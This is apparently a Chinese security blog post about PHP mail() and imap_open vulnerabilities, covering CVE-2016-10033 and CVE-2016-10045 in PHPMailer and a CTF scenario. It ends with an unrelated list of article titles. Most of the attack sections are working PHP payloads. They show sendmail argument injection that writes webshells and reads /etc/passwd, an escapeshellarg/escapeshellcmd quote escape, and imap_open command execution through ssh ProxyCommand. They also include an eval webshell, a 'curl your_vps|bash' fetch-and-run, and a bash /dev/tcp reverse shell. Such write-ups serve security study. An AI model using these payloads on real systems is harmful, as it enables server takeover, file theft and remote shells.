前言

此篇文件为有关PHP邮件漏洞的总结,如有错误,还请各位师傅指出。

PHP mail()函数介绍

PHP mail()函数利用姿势

PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。

-X logfile :指定一个文件来记录邮件发送的详细日志。

-C file:临时加载一个配置文件(可以读文件)。

-O option=value :临时设置一个邮件储存的临时位置。

任意文件写入

代码如下:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = '-f lihuaiqiu@1 -OQueueDirectory=/tmp/ -X/root/1.php';

mail($to, $subject, $message, $headers, $options);

?>

实际运行命令为: /usr/bin/sendmail-t-i-f lihuaiqiu@1-OQueueDirectory=/tmp/-X/root/1.php

此命令简写形式 -f lihuaiqiu@1-oQ/tmp/-X/root/1.php可突破某些字符限制的地方。

查看并运行邮件日志1.php回显:

成功将邮件内容写入日志,并进行了命令执行。

任意文件读取

代码如下:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = '-f lihuaiqiu@1 -C/etc/passwd -X/root/1.php';

mail($to, $subject, $message, $headers, $options);

?>

实际运行命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-C/etc/passwd-X/root/1.php

回显效果:

成功读取敏感数据文件。

利用配置文件执行代码

上述两种情况只建立在我们的目录有写权限以及写入的文件可以执行条件下,但是如果我们面临着没有写权限或者无法执行写入文件该怎么办呢,这时就要用到新的姿势,利用配置文件执行代码。

找到一个上传点,上传一个静态文件,文件内容为sendmail的配置文件内容并在末尾加上如下代码:

Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,

R=EnvToL/HdrToL,

T=DNS/RFC822/X-Unix,

A=php -- $u $h ${client_addr}

原理:系统默认使用sendmail-mta来解析邮件的内容,这里添加的内容目的是覆盖默认的解析,使用PHP来解析邮件内容。

payload为 lihuaiqiu@1 -oQ/tmp -X ./upload/sendmail_cf

实际执行的命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-oQ/tmp-X./upload/sendmail_cf

将邮件内容以php方式进行解析进行命令执行。

CVE-2016-10033分析

上面我们分析了PHP中mail函数产生的漏洞,而这个cve phpmailer正是因为第五个参数过滤的不严谨导致的漏洞,下面开始进行分析,代码在https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php

首先定位找到mail函数,需要满足三个条件,才可以进行五个参数的mail函数执行,需满足:没有开启safe_mode模式以及$params非Null

然后在接下来的代码寻找$params这个值是怎么来的

很明显可以看到$params来自于$this->Sender,并且在下面的执行语句中,$params变量会传递进mailPassthru函数中进而给mail函数当作第五个参数。

接着跟进$this->sender

可以从函数中看出来,$address经过strpos函数以及validataAddress的检测,最终把值赋给$this->sender

跟进validataAddress函数

可以看到依然用了strpos进行了一次检测,接着向下走会看到如果PHP_VERSION<5.2的话,则选择noregex模式对$address进行检测

这是一个很鸡肋的检测,基本上payload中含有@就可以的。

最终构造exp: lihuaiqiu@1-oQ/tmp-X/var/www/backdoor.php,最终将日志文件写入backdoor.php中。

漏洞环境https://github.com/opsxcq/exploit-CVE-2016-10033

漏洞利用条件

php version < 5.2.0 no pcre phpmailer < 5.2.18 php safe_mode = false

exp回显截图

Bypass pcre8

如果能bypass掉这个恶心的正则,那么利用条件就方便了很多,可以发现在@前面加括号就会可以进行bypass payload为 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com

CVE-2016-10045分析

主要更新点在于对于$this->Sender的函数过滤问题,下面来看一下这个函数的具体情况

其作用我放张图基本就会懂的

对于代码

php

$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$c=escapeshellarg($str);

echo $c;

echo "";

$str="a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$b=escapeshellarg($str);

echo $b;

运行结果为

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

可以看到此函数将传入的单引号进行了一次转义,并且自己为其他两端字符串添加了单引号,保证两端字符串正确解析.

但是此时出现了问题,mail函数自带escapeshellcmd函数过滤

对于这个函数,我们的上一个payload就会失效的 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com,原因在于()被转义。

escapeshellcmd与escapeshellarg导致参数注入

当$this->sender同时被这两个参数处理的话,就会导致单引号逃逸,如下代码测试

php

$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$c=escapeshellarg($str);

echo $c;

echo escapeshellcmd($c);

运行结果:

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com\'

最终sendmail形式为 -fa\( , -X/home/www/backdoor.php , -OQueueDirectory=/tmp , )@qq.com'

本地测试代码:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = "'-fa'\\''\( -OQueueDirectory=/tmp -X/root/lihuaiqiu.php \)@a.com\'";

mail($to, $subject, $message, $headers, $options);

?>

测试结果:

运行的时候会有一些报错的,但是仍然可以写入文件。

imap_open RCE 分析

imapopen为介绍的第二种漏洞,imapopen同样也常用于在php中bypass disable_functions

IMAP介绍

Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP/IP连接从邮件服务器检索电子邮件的Internet标准协议,IMAP服务器通常侦听端口号143,在php函数中,imap_open正用于打开邮箱的IMAP流。

函数介绍如下:

mailbox参数详解:

{[host]}:[port][flags]}[mailbox_name]

  • host:标准主机(服务器的域名或者IP地址)

  • port:主机端口

  • flags:可选标志

  • mailbox_name:远程邮箱名称,默认为INBOX

flags可选标志列表如下: 

具体链接:https://www.php.net/manual/zh/function.imap-open.php

漏洞主要触发原理:

如下实例:

@imap_open('{localhost}:143 / imap} INBOX','','');

分析:localhost为我们执行命令的参数之一,所以我们可以操纵服务器参数来构造恶意IMAP服务器来执行我们想要的命令,原理为:在php.ini中imap.enableinsecurersh参数为On的情况下,执行imap_open函数时/usr/bin/rsh被链接到ssh指令,所以通过ssh的-o选项我们可以进行命令执行。这里我们可以看一下ssh中可以执行命令的参数:

通过这个参数,我们就可以执行我们想要的命令了。

例如官方exp中给出的命令

ssh -oProxyCommand ="echo hello | tee / tmp / executed"localhost

通过我做的两个实验的例子,可以很清晰的看出构造出来的恶意邮箱服务器参数所造成的危害。

但是在PHP中填写邮箱参数的时候却不能这么直白的将此恶意邮箱参数填写

因为在解析的时候,PHP会将空格解释为分隔符以及斜杠作为标志,这里空格还是比较好绕过的,利用$IFS shell变量以及\t都可以进行替换空格,绕过斜杠的方法则是用base64进行编码。

如:echo bHM=|base64 -d|bash等于与ls。

docker中模拟测试

docker pull fedosov/docker-php-imap-composer

docker run -i -t -d fedosov/docker-php-imap-composer /bin/bash

docker exec -it 9017603a0e13 /bin/bash

模拟一个imap的邮件发送脚本,脚本代码如下:

php

$payload = "echo lihuaiqiu|tee /tmp/success";

$encoded_payload = base64_encode($payload);

$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

运行回显如下:

我们通过构造恶意服务器参数,成功的建立了我们想要的文件,通过此功能我们可以写webshell达到我们想要目的。

Bypass disable_functions

理解了这个漏洞的原理,我们就能知道这个功能是可以bypass disable_functions的。

下面来具体分析一下:

在存在RFI或LFI的情况下:

我们通过imap_open建立一个内容为\的1.php

运行脚本如下

php

$server = "any -o ProxyCommand=echo\t'\<?php \tsystem(whoami);?>'\t>\t1.php";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

存在RFI漏洞文件:

php

include($file);

?>

我们可以控制$file参数为我们刚才设置的1.php

回显结果:

安恒二月赛场景分析

由于没有环境,只能分析一下关键部分的思路

本题同样为imap_open所产生的漏洞.关键部分的在于对base64以及|的过滤,但是这个是存在上传图片的地方,所以我们可以通过bash+图片名来执行我们想要的命令

本地代码复现:

运行脚本如下:

php

$server = "any -o ProxyCommand=bash\t1.jpg";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

1.jpg内容为

echo"<?php @eval($_POST['li']);?>">webshell.php

回显结果:

成功的打出webshell.

另一个思考:

如果这道题没有上传文件的助攻该怎么办?

其实在上面我们可以看见,这个是有建立文件的功能的,所以我们可以根据hitcon的一道题的思路:

先建立我们所需要的文件名,比如文件名最后需要的是 curl your_vps|bash,在文件的index.html中写入反弹bash的一句话:

bash -i >& /dev/tcp/vps/port 0>&1

通过建立如下文件名

'\>sh\ '

'>ba\\\\\'

'>\\\|\\\\'

中间省略一些建立ip的过程

'>rl\\\\'

'>cu\\\\'

最后通过命令ls -t>g将文件名导入g中,执行命令sh g,最终反弹shell。

php写邮件空格_PHP 邮件漏洞小结相关推荐

  1. php双写绕过,PHP preg_系列漏洞小结

    最近看 P 神以前写的文章,其中在 3 个参数的回调函数中提到了 preg_replace /e 命令执行,对这块不是很熟悉的我特此写这篇文章总结学习一下. preg_matchint preg_ma ...

  2. 技术人员如何写好一封邮件

    2019独角兽企业重金招聘Python工程师标准>>> 邮件对于一个专业的职场人来说越来越重要,在目前的数字时代,在公司中同事之间的第一面可能是通过邮件认识的. 你是否在工作中常常会 ...

  3. 【电子邮件提醒】用python写个能发邮件的脚本

    [电子邮件提醒]用python写个能发邮件的脚本 文章目录 [电子邮件提醒]用python写个能发邮件的脚本 邮箱使用 使用python发邮件 封装一个发邮件的类 发邮件类 使用说明 前言 : 使用p ...

  4. 如果测出 BUG ,让你写一封英文邮件告诉开发

    大家好啊,我是大田. 如果你测出来了一个 BUG ,让你写一封英文邮件告诉开发人员,该怎么写? 这个问题没有标准答案,但是有几点需要说清: 1.BUG 描述(所属功能模块.测试环境地址): 2.问题复 ...

  5. php邮件发送yuanchengxu,邮件群发代码_php smtp邮件群发程序源代码

    摘要 腾兴网为您分享:php smtp邮件群发程序源代码,篆刻字典,易通行,学习计时,小米社区等软件知识,以及鸿业暖通8.0,故事口袋听听,证件照,帮我关下灯,手淘链接转换,魅族,红包软件,gif修改 ...

  6. C#验证Email是否真正存在,不是验证邮件格式,是邮件地址是否存在 .

    C#验证Email是否真正存在,不是验证邮件格式,是邮件地址是否存在 分类: .Net(C#) 2010-06-11 15:12 322人阅读 评论(0) 收藏 举报 在以往的编程中,比如编写用户的资 ...

  7. 自建邮件服务器_EDM邮件营销需要掌握的一系列知识(有福利)

    EDM(Electronic Direct Mail)邮件营销,作为最老牌的营销手段,以其成本低廉.精准高效.个性化强和能精准追踪分析等特点,为品牌商及电商带来非常好的营销效果.特别是在获客成本越来越 ...

  8. java邮件接收_Java邮件发送与接收原理

    一. 邮件开发涉及到的一些基本概念 1.1.邮件服务器和电子邮箱 要在Internet上提供电子邮件功能,必须有专门的电子邮件服务器.例如现在Internet很多提供邮件服务的厂商:sina.sohu ...

  9. python 读取邮件内容_python获取邮件内容(邮件内容为html)

    用python获取邮件内容比较简单,直接用现成的imap和pop3包即可,但是有时候邮件的内容不是plainText而是html甚至是一个url链接,原本的操作流程是点击url获取内容(比如csv等等 ...

最新文章

  1. 我确实不知道如何使用计算机,【图片】从零开始的计算机教程:看不懂我就打死你【红石电路吧】_百度贴吧...
  2. kafka原理_Kafka动态配置实现原理解析
  3. Gartner十大IT预测:七大数字巨头,有五家将心甘情愿“自我颠覆”
  4. Hadoop源代码分析(二)
  5. 仙逆网页服务器失败,全民仙逆闪退进不去了怎么办 闪退解决办法汇总
  6. jrebel(破解版)+eclipse +jetty/tomcat 配置,实现热部署
  7. vue内容横向循环滚动_Vue替代marquee标签超出宽度文字横向滚动效果
  8. server2003 IIS6.0 网站不可用
  9. 用html制作简单考试系统,巧用EXCEL制作模拟考试系统
  10. ZUC加密算法实现-软件版本Java
  11. 数据模型、概念模型、逻辑模型、物理模型
  12. android开发--不安装支付宝客户端调H5页面问题
  13. 深扒金山云招股书:拆分出来的子公司,能否走出金山系“舒适圈”?
  14. python后端开发简历分享_Python后端开发工程师面试
  15. 排版侠html怎么复制,排版侠微信编辑器使用方法教程
  16. gregorian(格里高力)历转换公历
  17. 广州地区常用的DNS解析服务器
  18. 代付系统/代付系统源码/支付宝代付系统/API代付系统
  19. 服务搭建篇(七) Elasticsearch单节点部署以及多节点集群部署
  20. Windows IPC 连接详解

热门文章

  1. python3 udp 广播 源码
  2. 这么小的key-val数据库居然也支持事务——与短跑名将同名的数据库Bolt
  3. React App项目页面进出场动画
  4. 深入理解Emoji(三) —— Emoji详解
  5. Play 1.x框架学习之五:错误信息显示 (error message display In play framework)
  6. tomcat源码学习
  7. linux Shell学习笔记第五天
  8. Windows Mobile Crossbow详尽评测
  9. JSP装状态管理 session cookie
  10. 线性表的链式表示——双链表